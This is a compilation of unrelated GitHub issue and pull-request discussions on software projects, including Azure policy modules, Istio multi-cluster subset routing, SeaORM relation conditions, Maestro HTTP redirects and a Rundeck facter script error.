[AVM Module Issue]: avm/ptn/security/security-center -  ASC Default policy initiative onboarding

Check for previous/existing GitHub issues

[X] I have checked for previous/existing GitHub issues

Issue Type?
Feature Request
Module Name
avm/ptn/security/security-center
(Optional) Module Version
No response
Description
# ASC Default policy initiative  onboarding
In my opinion this is nice addition for this pattern. Allowing to enable any existing security policy with parameters would be nice.
(Optional) Correlation Id
No response

@jikuja this request for policy assignments looks like it would fall under the purview of the https://github.com/Azure/bicep-registry-modules/tree/main/avm/ptn/authorization/policy-assignment module. You can use that pattern to deploy any/all of the built in azure policies.
I am going to close this since it's not in scope of the security-center pattern

@jikuja this request for policy assignments looks like it would fall under the purview of the https://github.com/Azure/bicep-registry-modules/tree/main/avm/ptn/authorization/policy-assignment module. You can use that pattern to deploy any/all of the built in azure policies.

True

I am going to close this since it's not in scope of the security-center pattern

Should this module documentation include a recommendation/hint to deploy ASC policy initiative assignment with ptn/authorization/policy-assignment instead of relying on Defender's background processes


Trying to have a Cancel for Instagram and also have it flush to the top of the window.

Tried a number of things, but since the WebView is not created in a storyboard, seems i'm not able to position it. Wondering if there is a work around for these 2 needed features:

Where the Instagram Login screen appears.
A Cancel button on the first Instagram screen.

with current master branch you can show your own webview with storyboard and add a cancel button
your own controller, action, etc...
see an example here https://github.com/hopye/OauthTest/tree/master/pruebaOAUTH/pruebaOAUTH
from #63

@ejpusa could you close? (demo provided by the link in my previous comment show how to work with storyboard)


Scrum 1835 - new table structure for mod reference type

mod reference types now stored as labels in a new table (referencetype) and linked to mods with many to many relationship (mod_referencetype table). References are linked to mod_referencetype through another many to many relationship (reference_mod_referencetype).

updated api, scripts, and tests to use new structure
created alembic revision to upgrade db to new table structure

Not included in this PR:

conversion of existing mod_ref_types from old table to new ones
new api to fetch all reftypes by mod sorted by display_order
renaming api parameters (source -> mod_abbreviation, reference_type -> referencetype_label)

Wow so many changes and so complicated! Things are looking great to me! Thanks @valearna
not a big deal. but  maybe replace following
entry['pubmedType'] if 'pubmedType' in entry else []
with   entry.get('pubmedType', [])  in agr_literature_service/lit_processing/data_ingest/post_reference_to_db.py, line100?

Thanks @sweng66! Yes, your suggestion is great, I'll modify it


fix(servers): Removing testnet3 as a web wallet server option

:tada: This PR is included in version 1.15.3 :tada:
The release is available on:

npm package (@latest dist-tag)
GitHub release

Your semantic-release bot :package::rocket:


Manhunt - Unstable light/shadow accumulation upon player/camera movement

Tested with newest builds (Build #44 [32fedd0] for Bridge and dvxk Build #385 [b37638b])
Tested on a 4090
546.33 drivers
Steam version of Manhunt
crosire's d3d8to9

In Manhunt the lighting doesn't seem to accumulate properly, leading to a shaky appearance of shadows in motion and in some cases even when things are still. It seems like the shadows are being completely redrawn upon motion so they are constantly fading in for a second. This is especially evident with modded in emissive lights but also happens with other light sources. I haven't seen this type of behavior in other games so I assume it is an issue with Manhunt specifically.
Attach files!
NvRemixBridge.log
d3d9.log
manhunt_d3d9.log
rtx.conf.txt
mod.zip (mod.usda)
To Reproduce
Steps to reproduce the behavior:
Load up any map in the game and move the camera/player. I have attached my mod.usda above which adds lights to the game, since the light translation doesn't work well out of the box. This should make the issue clear.
Expected behavior
Shadows keep fading in upon moving the camera/player instead of staying "solid".
Example video (watch in full res and full screen to get a good impression):
https://www.youtube.com/watch?v=P_63ZURij6I

REMIX-2632 for tracking.


Unable to view the learninggolanghardway book

Unable to launch the below site
http://www.learngolangthehardway.org/

The Go project (and thus this bug tracker) has nothing to do with that website. Sorry.


EntityObjectRelationBuilder's get_relation doesn't account for on_condition

Description
With an on_condition within an entity relationship, the corresponding SQL query doesn't incorporate that scope.
Imagine a simple structure where a BlogPost has a published boolean and an FK to Author. By defining two relationships:
#[derive(Copy, Clone, Debug, EnumIter, DeriveRelation)]
pub enum Relation {
    #[sea_orm(
        has_many = "super::posts::Entity"
    )]
    Posts,
    #[sea_orm(
        has_many = "super::posts::Entity",
        on_condition = r#"crate::entities::posts::Column::Published.eq(true)"#
    )]
    PublishedPosts,
}

I would expect accessing publishedPosts to apply the on_condition:
    builder.register_entity::<crate::entities::authors::Entity>(vec![
        entity_object_relation_builder
            .get_relation::<crate::entities::authors::Entity, crate::entities::posts::Entity>(
                "posts",
                crate::entities::authors::Relation::Posts.def(),
            ),
        entity_object_relation_builder
            .get_relation::<crate::entities::authors::Entity, crate::entities::posts::Entity>(
                "publishedPosts",
                dbg!(crate::entities::authors::Relation::PublishedPosts.def()),
            ),
    ]);

However, the on_condition is not applied.
Expected Behavior
I expect the additional scoping from the on_condition to apply when the GraphQL query is run.
Actual Behavior
The foreign key is honored but not the additional on_condition.
Reproduces How Often
Yes.
Versions
Latest Seaography.
Additional Information
I think I've narrowed down the location where the on_condition should be applied:
https://github.com/SeaQL/seaography/blob/4eeaaa51ae31f8dac65a5b9e8ed01d4cf218a884/src/query/entity_object_relation.rs#L123

Thanks @joshuaclayton for taking the time to report the issue. I can confirm that seaography does not take in mind the on_condition property. We will take care of the issue when we will update to sea-orm version 0.12


Persistant availabilities

Currently, when a new availability is created, is filled up with Slots and then later on these Slots finishes, the availability is not "returned". While this might be useful for some use cases, I would argue that for simple "setup and forget" use cases it is not really convenient as it requires for the host's operators keep in mind when the Slots finishes in order to come back and "refill" the Availabilities.
I would therefore propose adding a "persistent" flag to the availabilities, which would behave in a way that when the slot finishes, the slot's capacity is returned to its original availability which could be automatically offered again.
This would require few things:

add REST API flag to the Availability JSON structure and keep track of it internally
add REST API capability to "inactivate" the Availability, in order not to offer it anymore (even with the returned capacity), for the cases when host wants to gracefully terminate its offerings
wire "refresh signal" for the Sales components (mainly the currently developed Slot Queue) to be noticed that there was a capacity returned to availability and that the Sales process should potentially kick in again

I have been scoping out the implementation for this, and I believe it would make the most sense to add the property until to the Availability concept. It would function as follows when a sale is completed:

If no until is specified, the capacity is returned to the availability indefinitely or until until is set.
If until is specified and is in the future, then the capacity is returned.
If until is specified and is in the past, then the capacity is not returned and will eventually be depleted.

One concern I have is that users might be a bit confused, as they may expect that "all sales will be finished when until expires." What do you think? We could even expand this modification to ensure that there are no ongoing sales linked to the Availability when until expires.

I really like the until property. Regarding the semantics; I would indeed ensure that all sales are finished before the until timestamp. That should make it easy for node owners to reason about.

Sounds good to me!

Sounds great, and I agree with @markspanbroek that on, what I assume is a REST api call to update an Availability, updating the until of an Availability would not succeed unless all active sales are completed before that time.

Thinking about this again, I feel like the inactive flag and the until flag should be two flags that control the same behaviour (slot queue + capacity recycling), which should be differentiated from deleting an Availability (something we haven't really discussed before). A node operator should be able to deactivate an Availability with active sales, but should not be able to delete it.
inactive/until behaviour
If the inactive flag is true OR until is in the past, then no new slots should be picked up, and capacity would not be returned. If the inactive flag is false OR until is in the future, then new slots should be picked up (assuming the new slot contract completion datetime does not surpass the until datetime) and capacity returned.
Deleting an availability
Deleting an availability is only possible if there are no active sales using that availability. Deleting an availability would also free up any reserved capacity.
Also, my preference would be to name the flag enabled instead of inactive.

Adding notes here from our discussion:
An inactive flag is valuable in an instance where for example and a node operator is experiencing failing hardware and wants to inactivate their Availabilities immediately so they have time to replace the hardware and no new requests are picked up during that time. In that instance until would not be able to be set to now-1 because the end of the active sale would prevent that.


Add config to disable automatic HTTP redirects

Context
Hi! In my company we have some HTTP flows with requests that respond with 30X. We need to get some data from those responses, but Maestro's HTTP client follows HTTP redirects automatically and we cannot access that response's data.
Proposed Changes
This PR enables configuring whether the HTTP client should follow redirects automatically with an environment variable (MAESTRO_FOLLOW_REDIRECTS).

Setting the environment variable to "false" will disable redirects.
Setting the environment variable to "true" or leaving it unsetted will default to follow redirects as before.

If you think this needed for the main project I'll update the PR to include some tests and I'll open another PR to update the documentation in maestro-docs 🙂
Testing
I tested this locally with an internal API, but if you give me the heads-up I'll add a test to these files too:

kotlin/maestro/test/RhinoJsEngineTest.kt
kotlin/maestro/test/GraalJsEngineTest.kt

Issues Fixed
N/A (should I create one with what I explained in the context?)

Hi there @Edearth, thanks for taking the time to create a Pull Request! Let me check internally with the team regarding the API for this and get back to you.

@Edearth sorry that this is taking longer than expected, I will follow up with feedback asap!

@Edearth I chatted with the rest of the team and instead of adding functionality for this through an environment variable we want it to be put into the Flow config and work like this:
javascript:
    # defaults to true
    followRedirects: true/false

You can check out https://github.com/mobile-dev-inc/maestro/blob/main/maestro-orchestra-models/src/main/java/maestro/orchestra/MaestroConfig.kt for more information regarding the other configuration options.
Feel free to ping me in our public Slack if you want any pointers -- thanks!

Hey @Edearth, I'm going to go ahead and close this out for now -- let me know if you plan on tackling this and we'll be happy to help you get it merged.


Old activityIndicator

Right now the ActivityIndicator in the last  android nightly looks like this

Is it possible to have the old version with just one circle and not two?

We are always attempting to follow the material design guidelines with the appearance of the widgets. Which is why we migrated to implementation from the material design components. It has api to control these colors and we could add additional api in a future release to have more control.
fyi
We have migrated the following widgets:

ActivityIndicator
ProgressBar
Slider
Switch
DateDialog

Yeah, it'd be a good thing to add an api for that.
Thank you for your response


[FEATURE REQ] Authenticating a service principal with a federation token

Authenticating a service principal with a federation token
Azure CLI has a way to authenticate to the service principal using the federation token, but I do not see any ClientFederationTokenBuilder class similar to ClientSecretCredentialBuilder and ClientCertificateCredentialBuilder.
az login --service-principal -u <client_id> -t <tenant_id> --federated-token <identity_Token>
Can you please add the support for authenticating Service Principal using federation in Azure Java SDK.

Thanks for filing this request, @nv-sankalpk.  @g2vinay @billwert could you please take a look as a potential improvement for next semester

@nv-sankalpk
Can you describe, the use case you're looking for ?
How do you intend to use ClientFederationTokenCredential ?
What logic does this credential use to get a token and return it ?

@g2vinay
I am not the original poster, but I subscribed to updates here out of interest for my own use case. Rather than fetching a token, I believe this request is to allow a token to be passed externally in via the CLI to authenticate, like the az login example that @nv-sankalpk provided. Since the token is passed in as input there would not be a need to fetch one.
In my specific case, I would like to configure an Azure DevOps pipeline to use the jarsigner utility with the Azure KeyVault JCA to digitally sign JAR files. Instead of copying the client id/secret into pipeline variables, I would like to use the new workload identity federation feature to authenticate without storing sensitive credentials.
In my .NET applications I can do this by getting the token from the pipeline and passing as an option to AzureSignTool, but a similar option does not exist here that I can use for the Azure KeyVault JCA.

@nv-sankalpk and @MrWellington
The Azure Identity offers, Azure CLI credential which fetches a token on behalf of the logged in user/service principal.
On your end, if you ensure, you're logged in to the Azure CLI.
Azure CLI credential can be used to fetch the token.

Let us know, if any API support is still needed for this and above solutions don't work, we can reopen it.


I'm having an issue with <style> tags being stripped out when HTML is fed into my ReactQuill instance and processed by Quill. My use case is users creating pages in a CMS, and if it's a template they may want to use a CSS class to override the template style. I'm using ReactQuill 1.2.6, and the HTML string arrives into the container as props.content.
I understand that <style> is a new format that must be registered with Quill, but I've spent the last 1 1/2 days trying to figure this out and I feel I am no closer, and it's really hard to know how close I am. I've read all the ReactQuill and Quill docs about this (including https://codepen.io/alexkrolick/pen/PWrKdx?editors=0010) and have tried different ways of doing it but there's no difference: the

I switched to using Slate for my rich text editor instead as I couldn't fix this issue.


update null-check for user-count in gitter-rooms

This PR resolves #137
Updated the code to handle empty prop of 'userCount' to GitterListComponent. Now, it will only render the usercount when it has been successfully passed as a prop -

I would request mentors @charithccmc and @wdevon99 to please review this PR :)

Already done in #176


Only embed the CSS which is needed for the given template

Currently we are going to embed the whole CSS into every page. That's obviously suboptimal. Is there a way to only embed the needed CSS into a page without spending too much work to solve this issue?

The CSS is around 4kb, should this be really be needed?


[WIP] new protocol, ticker and level2 channels

Introduces a flat schema for all messages.

ws4py example data_provider does not use imported symbols. Find out why.

Imports were not the issue. The longer subscription message created some unknown behavior in every recent version of ws4py since 0.3.4.


Use Volume as the primary mechanism for directing Listener traffic, rather than labels

Description
Part of https://github.com/stackabletech/listener-operator/pull/1

Review Checklist

[x] Code contains useful comments
[x] (Integration-)Test cases added (or not applicable)
[x] Documentation added (or not applicable)
[x] Changelog updated (or not applicable)
[x] Cargo.toml only contains references to git tags (not specific commits or branches)

Once the review is done, comment bors r+ (or bors merge) to merge. Further information

bors r+


Queery on RMsynth_3D output with -i option

I noticed with both the test data and some cubes I was working on that with the -i option (to include a stokes I cube which normalizes Q and U), the final FDF output ends up filled with a lot of random looking noise in the background. Additionally, where the sources are it looks like the values in the FDF_maxPI file for example are not given as fractions (but have similar values to the file output if I don't include the stokes I cube).  What is this output exactly, as is doesn't look like fractional polarisation?
Thanks

Hi Gabe:
What kind of Stokes I cube are you supplying? Is it a cube of Stokes I model values, or the observed Stokes I?
I'm going to guess that you're feeding in the observed Stokes I value, or a model that isn't completely safe (which is a problem with the default Stokes I modelling routine; I'm going to fix that in the next release). What can happen is if there are Stokes I values that are very close to zero the noise in Q, U, and I can result in Q/I and U/I values that are unphysically large (billions of percent polarized sources!) or with flipped sign. This tends to cause the resulting RM spectra to be complete garbage.
The safest thing to do, if you're working with polarization of sources, is to use Stokes I models (there's a script in RM-Tools, RMtools_3D/do_fitIcube.py, which should be able to generate such models, although I'll warn you that it's not robustly tested and documented yet) and/or ignore pixels that don't have enough Stokes I signal. If you're working with diffuse emission (which I'm guessing you're not -- you're doing QUOCKA stuff in George's group, right?), then you should not normalize by Stokes I at all if you have interferometer data.
The FDF_maxPI file gives the polarized intensity of the peak in the FDF, for each pixel. Internally in the code everything is calculated as fractional polarization, then at the end it is multiplied by a Stokes I reference value to convert back into polarized intensity units. The Stokes I reference value is taken as the Stokes I value at the reference frequency: if that Stokes I value is zero or negative then the resulting polarized intensity value is correspondingly zero or negative.
In short: because it divides by Stokes I, negative or low S:N values are a problem. Use a model (although that's not completely safe yet -- I'm working on fixing that) or limit yourself to bright pixels.
On a side note: if you have any other questions about RM-synthesis or RM-Tools, and it doesn't necessarily seem like a bug, feel free to directly email me (cameron.van.eck (:at:) utoronto.ca) with questions. I'm pretty good about responding quickly (although the time-zone difference means it will probably be overnight).
Cheers,
Cameron

Hi Gabe:
What kind of Stokes I cube are you supplying? Is it a cube of Stokes I model values, or the observed Stokes I?
I'm going to guess that you're feeding in the observed Stokes I value, or a model that isn't completely safe (which is a problem with the default Stokes I modelling routine; I'm going to fix that in the next release). What can happen is if there are Stokes I values that are very close to zero the noise in Q, U, and I can result in Q/I and U/I values that are unphysically large (billions of percent polarized sources!) or with flipped sign. This tends to cause the resulting RM spectra to be complete garbage.
The safest thing to do, if you're working with polarization of sources, is to use Stokes I models (there's a script in RM-Tools, RMtools_3D/do_fitIcube.py, which should be able to generate such models, although I'll warn you that it's not robustly tested and documented yet) and/or ignore pixels that don't have enough Stokes I signal. If you're working with diffuse emission (which I'm guessing you're not -- you're doing QUOCKA stuff in George's group, right?), then you should not normalize by Stokes I at all if you have interferometer data.
The FDF_maxPI file gives the polarized intensity of the peak in the FDF, for each pixel. Internally in the code everything is calculated as fractional polarization, then at the end it is multiplied by a Stokes I reference value to convert back into polarized intensity units. The Stokes I reference value is taken as the Stokes I value at the reference frequency: if that Stokes I value is zero or negative then the resulting polarized intensity value is correspondingly zero or negative.
In short: because it divides by Stokes I, negative or low S:N values are a problem. Use a model (although that's not completely safe yet -- I'm working on fixing that) or limit yourself to bright pixels.
On a side note: if you have any other questions about RM-synthesis or RM-Tools, and it doesn't necessarily seem like a bug, feel free to directly email me (cameron.van.eck (:at:) utoronto.ca) with questions. I'm pretty good about responding quickly (although the time-zone difference means it will probably be overnight).
Cheers,
Cameron

Hi Cameron, thanks for your thorough response!
Yep I'm working in George's group on the QUOCKA data. I was feeding in observed Stokes I so will take your advice and try the model. Thanks also for explaining how the output works.
I'll get in touch with any other questions via email
Cheers!
Gabe

Hi Cameron, thanks for your thorough response!
Yep I'm working in George's group on the QUOCKA data. I was feeding in observed Stokes I so will take your advice and try the model. Thanks also for explaining how the output works.
I'll get in touch with any other questions via email
Cheers!
Gabe


App Request for Lawnicons

icon_request_22_07_2022_11_41_11.zip
yo wassup lawnchair team im loving your new lawnicons dev version with 400 apps and I find these 9 icons to not support the icons here's the info I extracted :]
sending my support to yall

As said in README.md, icon requests go to https://forms.gle/Fx8vZAiWdW1Tyjo57. Please use the form instead of creating an issue related to your icon request. Thanks!
As a side note, com.aurora.store, me.zhanghai.android.files, io.github.muntashirakon.Music, and dev.kdrag0n.dyntheme (4/9 apps are done) already exists in the later development versions. Try updating the dev apk to see those icons themed.

actually why doesnt the lawnicons icon support lawnicon icons

Unsure why they didn't make one.


Versioning of Experiments on Litmus ChaosHub

We've had some breaking issues of our experiment runs because changes were made to the experiments without us being aware and subsequently our experiments started failing. We need to be able to lock down experiment runs to specific versions so they don't break our tests even if new updates to experiments are made.
When installing the experiments from ChaosHub's URL I would like to see a 'version' parameter so I can lock the experiment versions during deployment to a new cluster to a specific version. I.e.:
kubectl create -f https://hub.litmuschaos.io/api/chaos?file=charts/generic/experiments.yaml?version=1.1.0

In addition, the ChaosHub UI should have some way to see what versions are available, similar to Docker Hub here: https://hub.docker.com/_/mysql?tab=tags

Steps involved include:

Updates to the charthub go backend to checkout tags as part of locally maintained charts
Updates to Js front-end to provide tabs/dropdown for the versioned bundle downloads
Changes to buildscripts in chaos-charts to create concatenated experiments YAML for release branches
Doc restructure to mention versioned charts respective doc versions

cc: @chandankumar4


v2-alpha release

@M-ZubairAhmed
Why now?

I thought we will release this once login and profile functionality is done

kapil wants it now, because of the competition

i cannot push to develop.

@M-ZubairAhmed Try now


fix

Codecov Report
Attention: 15 lines in your changes are missing coverage. Please review.

Comparison is base (effd73f) 55.40% compared to head (daf0c04) 55.51%.

:exclamation: Current head daf0c04 differs from pull request most recent head 82d6c4d. Consider uploading reports for the commit 82d6c4d to get more accurate results

Files
Patch %
Lines

lightyear/src/client/input_leafwing.rs
0.00%
11 Missing :warning:

lightyear/src/server/input_leafwing.rs
0.00%
2 Missing :warning:

lightyear/src/client/prediction/mod.rs
0.00%
1 Missing :warning:

lightyear/src/server/resource.rs
0.00%
1 Missing :warning:

:exclamation: Your organization needs to install the Codecov GitHub app to enable full functionality.
Additional details and impacted files
@@            Coverage Diff             @@
##             main     #122      +/-   ##
==========================================
+ Coverage   55.40%   55.51%   +0.11%
==========================================
  Files         130      130
  Lines        8507     8511       +4
==========================================
+ Hits         4713     4725      +12
+ Misses       3794     3786       -8

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.


MSBuild child nodes do not inherit parent node's process priority

This bug report refers specifically to MSBuild running on Windows.
If I start MSBuild.exe with process priority "below normal" (6) and the /m command line switch, and that MSBuild.exe starts child MSBuild.exe processes, then these child nodes still run with normal (8) process priority. It would be better for them to inherit the parent process' priority, because without such inheritance, it becomes impossible to effectively "nice" a multiprocessor build.
Thanks,
Philip
Visual Studio Team Services

Looks like the bug is on line 368 of src/XMakeBuildEngine/BackEnd/Components/Communications/NodeProviderOutOfProcBase.cs. Instead of setting the value to NORMAL_PRIORITY_CLASS, just set it to zero.

I just stumbled across #166, of which this is a duplicate.


Docs minor formatting and wording fixes

glossary.patch.txt

Not sure why this is a patch file, but a quick glance shows at least one of the changes is valid...


Add some comments to functions, inline and a couple of function headers.

What does this PR do?
add comments documenting six apis
Motivation
What inspired you to submit this pull request?
Additional Notes
Anything else we should know when reviewing?

@derekwbrown please rebase on top of master and change the PR's base


for running a queue worker, the job name gets returned

try "php artisan queue:work"

Thanks rokde!

;)


chore: allow guzzle ~7.0

Can someone please merge this so we can actually use this SDK in modern PHP projects????

The support on this is a travesty.

Please Merge this PR. Can not use this for Laravel 10 thanks


Target specific cluster services in a multi-cluster enviroment

I have set up a multi-primary/multi-network system with load-balancing and smart DNS proxying enabled.
I need to be able to target specific clusters services, and I wonder if there is a way to do that?
When making requests to a service, Istio load balances the requests, which is fine, but I would also like to explicitly target services in a specific cluster.
It seems that using an FQDN doesn’t help as both clusters use the same default DNS domain (.cluster.local), there is a kubeadm option to change the service-dns-domain, but as I understand it, this will break the multi-cluster load balancing, is that correct?
Is there any options available to query based on the multiCluster names?  service-name.cluster1 for example?

In destination rule you can create a subset and match the cluster label (I think it's istio.io/cluster) I believe. Then create subsets per cluster. There is no out of the box way though

cc @nmittler as we were just discussing this

@daniel-pebble we've seen this request in the past and I'm wondering if you could expand a bit on your use case.
In the meantime, a work-around might be to simply create extra services in each cluster, say with the name <svc>-<cluster>.<namespace>.

@nmittler and @howardjohn – thanks for your feedback.  I had considered deploying extra cluster-specific services as a workaround, so I think we can use that solution for now.
I’ve created this diagram to help illustrate what we are trying to achieve.  We’ll have three clusters all configured under a single mesh in a multi-primary/multi-network setup.
To simplify things I’ve just shown some of our PODs, we use a VirtualService to pass external traffic to our UI POD and another for internal traffic between backend services.
We want to enable locality so that requests are served by local services with the ability to failover should a local POD be unavailable.  However, other PODs such as the “Database” shouldn’t be load-balanced even if a local POD isn’t available.  Our plan for this was to deploy cluster-specific services so that each POD can only consume its local “Database”.
The next requirement links back to my original question, in that we also need the ability to target specific services in specific clusters.  We can, of course, deploy site-specific services, but I was hoping to avoid the new to deploy extra services for each of our services.  If that’s the only option today, then so be it; in a perfect world, if we would be able to query based on something like .. it would remove the need for deploying these extra services.

We want to enable locality so that requests are served by local services with the ability to failover should a local POD be unavailable. However, other PODs such as the “Database” shouldn’t be load-balanced even if a local POD isn’t available. Our plan for this was to deploy cluster-specific services so that each POD can only consume its local “Database”.

If you just need the database to be cluster-local, then you can make it so in mesh config.

The next requirement links back to my original question, in that we also need the ability to target specific services in specific clusters. We can, of course, deploy site-specific services, but I was hoping to avoid the new to deploy extra services for each of our services. If that’s the only option today, then so be it; in a perfect world, if we would be able to query based on something like .. it would remove the need for deploying these extra services.

You could define a subset for each cluster (using a match on the cluster label) and then use a custom header to route to a particular subset. That means you'll need a DestinationRule for your service that identifies all of the subsets.

Is there something special you must do to have the cluster label added to workloads?  I can see the "topology.istio.io/network" label is added but the cluster one isn't.  I did notice that the cluster label is in alpha, must this be enabled somehow?

I found the answer https://github.com/istio/api/pull/2076

@nmittler I have tried to set up the following but requests to cluster-specific subsets don't work, I get "no healthy upstream" when trying to access "http://router/site/1/api/1/deployment/"
kind: VirtualService
apiVersion: networking.istio.io/v1alpha3
metadata:
  name: internal
  namespace: default
spec:
  hosts:
    - router.default.svc.cluster.local
  http:
    - match:
        - uri:
            exact: /site/1/api/1/deployment
        - uri:
            prefix: /site/1/api/1/deployment/
      rewrite:
        uri: /api/1/deployment/
      route:
        - destination:
            host: deploymentservice.default.svc.cluster.local
            subset: cluster1
    - match:
        - uri:
            exact: /site/3/api/1/deployment
        - uri:
            prefix: /site/3/api/1/deployment/
      rewrite:
        uri: /api/1/deployment/
      route:
        - destination:
            host: deploymentservice.default.svc.cluster.local
            subset: cluster3
    - match:
        - uri:
            exact: /api/1/deployment
        - uri:
            prefix: /api/1/deployment/
      route:
        - destination:
            host: deploymentservice.default.svc.cluster.local

kind: DestinationRule
apiVersion: networking.istio.io/v1alpha3
metadata:
  name: deploymentservice-destination
  namespace: default
spec:
  host: deploymentservice.default.svc.cluster.local
  subsets:
    - labels:
        cluster: cluster1
      name: cluster1
    - labels:
        cluster: cluster3
      name: cluster3

In Kiali it reports KIA0203 error against the subsets, I'm not sure if this is just a limitation of kiali in a multi-cluster setup, however, I do see the clusters in the mesh overview page.
https://kiali.io/documentation/latest/validations/#_kia0203_this_subset_s_labels_are_not_found_in_any_matching_host

Is there something special you must do to have the cluster label added to workloads

No. It's a synthetic label that Istio adds internally ... it's not actually on the pods.
Also, the destination rule above is using the label cluster which doesn't exist. The actual label is topology.istio.io/cluster. Try that.

@nmittler  that seems to have fixed it for the local subset (cluster1) however when accessing the remote subset (cluster3) the request fails with the following error "upstream connect error or disconnect/reset before headers. reset reason: connection failure"
I know that requests to the remote cluster work as when I use the bottom route "/api/1/deployment" this request is load balanced between the clusters.
Is there any logs which will help here?  Something that will show the lookup process for the route to subset to cluster.
All of the data in "istioctl proxy-config clusters" and "istioctl proxy-config routes" appears correct

I figured it out, I didn't have a matching DR deployed in the second cluster, once I deployed this the site-specific services started to work.  Thanks for all of the insight @nmittler  and @howardjohn


PE2015.2.3 Error: Facter: error while processing "/etc/facter/facts.d/rundeck_facts.rb" for external facts: child process returned non-zero exit status (127).

I see the following in puppet agent run:
Debug: Facter: searching "/etc/facter/facts.d" for external facts.
Debug: Facter: checking execution on /etc/facter/facts.d/rundeck_facts.rb
Debug: Facter: resolving facts from executable file "/etc/facter/facts.d/rundeck_facts.rb".
Debug: Facter: executing command: /etc/facter/facts.d/rundeck_facts.rb
Debug: Facter: /usr/bin/env: ruby: No such file or directory
Debug: Facter: process exited with status code 127.
Error: Facter: error while processing "/etc/facter/facts.d/rundeck_facts.rb" for external facts: child process returned non-zero exit status (127).
Debug: Facter: searching "/etc/puppetlabs/facter/facts.d" for external facts.
Debug: Facter: resolving facts from text file "/etc/puppetlabs/facter/facts.d/environment.txt".
Debug: Facter: fact "environment" has resolved to "production".

The content of rundeck_facts.rb is
#!/usr/bin/env ruby
# Fact: rundeck_version
#
# Purpose: Return facts for the running version of rundeck.
#

if File.exists?('/etc/debian_version')
  version = `dpkg-query -W -f 'rundeck_version=${Version}\n' rundeck`
  puts version
elsif File.exists?('/etc/redhat-release') or File.exists?('/etc/centos-release')
  version = `rpm -q --qf 'rundeck_version=%{VERSION}\n' rundeck`
  puts version
end

When I search for ruby on the agent, it is found at the following places
[root@rundeckagent /]# find . -name ruby
./opt/puppetlabs/puppet/bin/ruby
./opt/puppetlabs/puppet/include/facter/ruby
./opt/puppetlabs/puppet/include/ruby-2.1.0/x86_64-linux/ruby
./opt/puppetlabs/puppet/include/ruby-2.1.0/ruby
./opt/puppetlabs/puppet/lib/ruby

Puppet version is
[root@rundeckagent /]# puppet --version
4.2.3
[root@rundeckagent /]#

installing ruby with package ruby on the rundeck machine made the warning disappear.

groan

I'll take a look at this later today. Arguably it shouldn't even have a shebang.

@ltutar how did you install puppet / facter?

I just downloaded the master zip of puppet-rundeck and put it in the directory /etc/puppetlabs/code/environments/production/modules , just like the other modules.
And I install ruby as followed
file { '/tmp/ruby-libs-<IP_ADDRESS>4-4.el6_6.x86_64.rpm':
        source => "puppet:///puppet_files/xxr/ruby_rpm/ruby-libs-<IP_ADDRESS>4-4.el6_6.x86_64.rpm"
  }

  file { '/tmp/ruby-<IP_ADDRESS>4-4.el6_6.x86_64.rpm':
        source => "puppet:///puppet_files/xxr/ruby_rpm/ruby-<IP_ADDRESS>4-4.el6_6.x86_64.rpm"
  }

  exec { 'Install_Ruby':
    command => '/usr/bin/yum -y localinstall /tmp/compat-readline5-5.2-17.1.el6.x86_64.rpm /tmp/ruby-libs-<IP_ADDRESS>4-4.el6_6.x86_64.rpm /tmp/ruby-<IP_ADDRESS>4-4.el6_6.x86_64.rpm',
    creates => '/usr/bin/ruby',
  }

I removed the /etc/facter/facts.d stuff in #148. Closing.


Export to PDF

Another feature which I think would be highly appreciated is exporting the Markdown file into PDF files.
Myself I was writing some exam essays on MD Notes and to submit it, I had to download the MD file and convert it with some online tool, like for example http://www.markdowntopdf.com/.
This would mean to implement two things on backend:

Markdown-to-HTML conversion - for example with Python-Markdown (it will be necessary to compare output of marked.js and this package, to see if there are any major differences)
PDF rendering of HTML code - I found two Python solutions - Reportlab and WeasyPrint

This is by far the most requested feature since the website went online. I have not looked at it, but my biggest concern is always rendering differences between whichever PDF converter we use and our Markdown parser + browser stylesheets.
I think the best approach would be one that does not use the backend at all, or at least that can render the code generated in the browser.
Another major issue is the LaTeX support, something that's definitely not part of the spec.

Yeah, I thought so... Well I understand your concern, but if I would speak on high level, I think the differences should not matter that much. What I mean by that is that Markdown is meant for simple formatting (eq. headlines, lists, urls etc.), not for some fancy rich-formatting. So if we would be able to provide OK-look (which should not be hard) and bring it as close as possible to look which we have in the browser editor, than I would call that success!
Well I am not sure if going without backend would be possible with this (you could use some other online services for this, but yeah I think that output from the service would be really different and generally I think that depend on other external service is bad idea). Regarding to have the same code generated as in browser, well we could create micro-service based on Node.js with marked.js which would take the Markdown and return the rendered HTML which would be identical to browser code...
But yeah, the LaTeX support is definitely the biggest issue here. But MathJax should be able to produce images (SVG) right? So technically we should be able to produce images on server, which would be embed into the PDF... With just a bit googleing I found this MathJax-node, so if we would go with the solution of the Node service, we should be able to achieve almost identical output as in browser...


Add a test for _Float16 ABI compatibility between clang and compiler-rt

From https://github.com/ROCmSoftwarePlatform/rocFFT/issues/439

@sylvestre could you take a look to this please?

sorry, i didn't see the notif either.
seems that it is failing on arch


Access policy

Given the conversation we have had with D&I around being open about how we catalogue, I think we should chat about how takedown is handled.
Currently we remove the record, and surface to the user "This catalogue item has been removed.".
There are already some access statements that are setup for the stacks, and are reflected in the digital items. You can see some related information here.
In short they are (definitions are mine, and could do with refining):

Closed: Completely off limits
Restricted: After agreeing that you acknowledge there is sensitive information in an item, and you should consider this when publishing, you're able to access it
Open: Open to all
... (There are more, I am just getting the official definitions)

Thoughts

We should be storing what images we're doing this with to be able to bring them back to life if we need
Should we have a different states of takedown? e.g. the image is taken down, but the metadata stays, the metadata is taken down as well as the image?
Could we surface the policy that caused this to be marked? This will not only be useful for our future selves, but also to surface to the public what we think is good practise. It also might allow us to, if we revoke a policy, revoke the restriction to all images which had it applied

e.g. the image is taken down, but the metadata stays, the metadata is taken down as well as the image?

If we do, can you request an image if it's relevant to your research?
(cf archives about people who are recently deceased)

It would be extremely helpful if CI could work with you on automating some of the record-keeping and messaging on this issue, but drawing on the already published policy and procedures on collections access and sensitivity review of course. Extending, enhancing and revising these guidelines is an ongoing piece of work for my team anyway. What we definitely don't want to end up with are two sets of guidelines and two parallel records of takedown requests!

Adding some notes from a conversation around the desks right now:

We might track internal/external reasons for suppressing a record, and only present the latter publicly.
e.g. Public: "This record was removed in line with our obscene content policy (link)"
Internal: "This record was removed as part of a batch of images that were flagged by Jane Doe. This is why it fits the policy, this is the historical context, these are the other images we removed."

This has overlap with discussions around how we delete material from the storage service (#4002).

